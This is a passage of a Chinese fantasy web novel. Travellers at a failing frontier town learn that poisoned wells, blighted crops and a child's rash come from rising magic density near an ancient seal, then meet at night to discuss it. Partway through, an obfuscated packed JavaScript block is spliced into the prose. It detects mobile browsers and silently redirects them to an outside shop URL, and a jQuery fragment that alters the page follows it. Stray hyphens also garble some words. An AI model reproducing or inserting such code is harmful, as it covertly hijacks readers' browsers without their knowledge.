流栖灯和艾莉西亚从另一间房下来。流栖灯的头发还带着水汽,大概在楼下水房洗了脸。艾莉西亚抱着那本法术书,在桌边坐下就把书翻开摊在碗旁边,眼睛看着书页,手伸出去摸了一只碗盛上豆子,整个过程头没抬。
贝丝在对面坐下,给自己也盛了一碗。她吃了一口,搁下勺子。
“镇里的井,北边的三口都不能喝了。南边那口还能用,但味道一天比一天差。”她说话时看着锅里的豆子,“我家后院这口是上个月开始变味的。一开始只是喝完了嘴里发涩,后来烧开了也有股铁锈气。我找了镇上的法师来看,她说水里沾了东西,她处理不了。”
格蕾塔停下勺子。“那位法师现在还在镇上吗。”
“在,住在镇北,她叫海瑟,在绿溪镇待了快十年了。”贝丝拿起麦饼掰开,“你们要找她的话,这个时辰去她大概在家。不过她脾气不太好,尤其是最近——找她的人太多了,她处理不了的事也太多了。”
“找她的人多?”
“井水变味之后,先是找她看水。然后是地里的庄稼,麦子发灰,菜叶卷边,找她看地。然后是牲口,羊不下羔,鸡不生蛋,找她看牲口。再然后是人——北边老桑妮家的小孙女,身上起了疹子,痒得整夜哭。”贝丝把掰开的饼放在碗边没吃,“海瑟一个一个看了,能治的治,治不了的摇头。摇头的次数多了,脾气就坏了。”
厅堂里安静了一会儿。灶房里的火光从门帘缝里透出来,把贝丝半边脸映成暖色,另半边在暗处。
“那个起疹子的孩子,”格蕾塔说,“疹子什么样。”
“红的,一粒一粒,从胳膊开始长,现在蔓延到后背了。不传染,家里人没被过上。但用药草敷了不管用,喝汤药也不管用。”贝丝抬头看了格蕾塔一眼,“你是牧师?”
格蕾塔点头。
“那你明天能不能去看看。老桑妮家就在镇北,井旁边那条巷子进去第三家。她一个人带孙女,女儿去了边境哨站做事,一年回来一次。”贝丝把掰开的饼拿起来咬了一口,嚼了几下咽下去,“你要是能去,她大概会给你跪下。”
格蕾塔没接这句话。她把碗里的豆子吃完,麦饼掰成小块泡进汤里等它吸饱了汤汁才送进嘴里。“疹子从胳膊开始往躯干蔓延,不传染,药草无效——这听起来不像皮肤病。我需要看到人才能判断。”
“明天我带你去。”贝丝说。
流栖灯一直在听,这时候把勺子搁下了。“镇里人知道是什么原因吗。井水变味,庄稼发灰,孩子起疹子——她们自己怎么想。”
贝丝看了她一眼。目光在流栖灯的黑头发上停了很短的一瞬,然后移开了。“怎么想的都有。有人说是得罪了土地神,有人说是北边山里出了不干净的东西,有人说是在还几百年前的债。”她把碗里最后一点汤喝干净,“也有人什么都不想,收拾东西往南走了。镇子比上个月少了三成的人。走的大多是年轻的和手里有余钱的。留下来的要么走不动,要么舍不得地,要么觉得走了也不知道去哪里。”
“镇上管事的怎么说。”
“镇长上个月去了边境哨站,说去找上面的人问清楚到底怎么回事。到现在没回来,也没消息。”贝丝站起来收拾碗筷,“她走之前把镇上的事托给了驿站长。然后驿站长也跑了。”
玛丽玛丽听到这里,想起梅说的话——绿溪镇的驿站长留了一封信说受不了了。镇长去了边境哨站没回来,驿站长跑了,井水在变味,庄稼在发灰,孩子身上起疹子。镇子在一点一点垮掉,一块砖一块砖地往下掉。
艾莉西亚从法术书上抬起头。她面前的碗空了,麦饼吃了一小半,剩下的搁在碗边。“镇上的法师检测过魔力浓度吗。”
贝丝端着碗筷站住了。“什么浓度?”
“空气里的魔力。还有水里的。”艾莉西亚从布袋里摸出那张测魔符纸放在桌上。符纸边缘的淡橙色比中午在山路上又深了一点,接近橙黄。“这张纸在正常空气里是完全不变色的。到石桥村的时候变到二级,到你们镇子,已经快三-级了。三-级意味着长期待在这里,对魔力敏感的人会出现症状——睡眠变差,头晕,皮肤起疹子。”
贝丝看着那张变了色的符纸,手上端着的碗筷轻轻碰了一下发出细微的瓷响。“你说的这些症状,老桑妮家的小孙女都有。睡不好,夜里哭,说头晕,身上起疹子。”她的声音低下去,“你是说,不是病,是空气?”
“是空气里的魔力浓度太高了。孩子对魔力的耐受比成年人低,所以先出现症状。成年人也不是没受影响,而是症状来得慢,或者被当成累了、老了、天气变了。”
贝丝站在桌边,手里的碗筷不碰了。她脸上没有惊恐,也没有慌张,而是一种“原来如此”之后的空——知道了原因,但知道原因并不能让井水变回去,也不能让庄稼重新变绿。
“我去洗碗。”她端着碗筷走进灶房。门帘在她身后落下来,隔了一会儿,里面响起水声。
流栖灯看着那张符纸边缘的橙黄-色。“三-级了。到边境哨站会到几级。”
“按照目前的增长速度,哨站大概在五到六级之间。”艾莉西亚把符纸收回布袋,“六级是人体能长期承受的上限。超过六级,健康的人也会在一个月内出现明显症状。超过八级,不适合人类居住。”
“禁域中心呢。”
艾莉西亚没有马上回答。她把布袋的绳子慢慢收紧。“禁域中心我没有数据。但能让外围扩散区达到三-级,中心区域至少在十级以上。十级魔力浓度,普通生物接触即死。”
厅堂外面的天已经黑了。主街对面的人家点起了灯,光从窗纸里透出来,昏黄昏黄的。远处有狗在叫,叫了几声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537892|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停了,过了一会儿又叫起来,镇子的夜比帝都深,比石桥村也深。
夜里起了风。客店二楼的窗子关着,风从窗缝里挤进来,带着呜呜的声响。玛丽玛丽躺在床上听着风声,对面床的格蕾塔呼吸平稳,不知道睡着了没有。
天花板上有一块水渍,形状像一只手掌,指节的地方被屋顶的木梁切断了。窗外的风声时大时小,大的时候窗框微微震颤,小的时候能听见后院马厩里马匹挪动蹄子的声音。黑马大概也醒了,或者根本没睡。动物比人敏感。
楼下传来很轻的脚步声,是贝丝吗?不,不是贝丝——贝丝的脚步沉,踩在木楼梯上整栋房子都知道。这个脚步轻,一步一步踩得很小心,像怕吵醒谁。脚步声上了二楼,在走廊里停了一下,然后从门缝底下塞进来一线光。油灯的光,晃了一下稳住了。
玛丽玛丽坐起来。门缝外面那线光还在。
她下床拉开门。流栖灯站在走廊里,手里端着一盏油灯,另一只手拢着灯罩挡风。头发披着,赤脚踩在木地板上。看到门开了,她没有意外的表情,好像早就知道玛丽玛丽会醒。
“睡不着。”她把油灯往两人中间挪了挪,灯影在走廊墙壁上晃出一个巨大的、变形的影子。
玛丽玛丽拉过椅子让她进来,自己坐在床边。格蕾塔也坐起来了,靠在床头,没说话。对面的房门开了一条缝,艾莉西亚探出头,头发乱蓬蓬的,眼睛眯着,看了看走廊,然后抱着法术书走过来在玛丽玛丽床脚坐下。四个人挤在一间小房间里,油灯放在桌上,火苗在玻璃罩里轻轻跳。
“我一直在想贝丝说的话。”流栖灯把脚收上来盘在椅子上,赤脚踩在椅面边缘,“她说有人在还几百年前的债。我一开始以为她是随便说的,后来觉得不是。”
“为什么不是。”格蕾塔的声音从暗处传来。
“直觉。”
玛丽玛丽想起贝丝说那句话时的样子——坐在桌边,碗里的豆子吃了一半,眼睛看着锅里剩下的豆子和咸肉,说“也有人说是在还几百年前的债”。不像感慨,像转述,转述一个她自己也在掂量的说法。
“魔王封印是几百年前建的。”艾莉西亚把法术书放在膝盖上,手指压-在书脊上,“如果镇里的人知道北边山里封着一个上古魔力源头,知道那个封印正在松,那‘还几百年前的债’就不是随便说的。”
“镇里的人知道封印吗。”流栖灯问。
“绿溪镇的位置在官道边上,往北走两天到山路,再往北是边境哨站。”玛丽玛丽说,“这个位置不是随便选的,官道沿线每隔一段距离设一个镇,最早的目的就是作为北境防线的一部分——囤粮草,传递消息,安置轮换人员的家属。绿溪镇的历史可能和封印一样久。镇上的老住户,祖上很可能就是当年参与封印工程的法师的后人,或者是边境哨站驻守人员的后代。”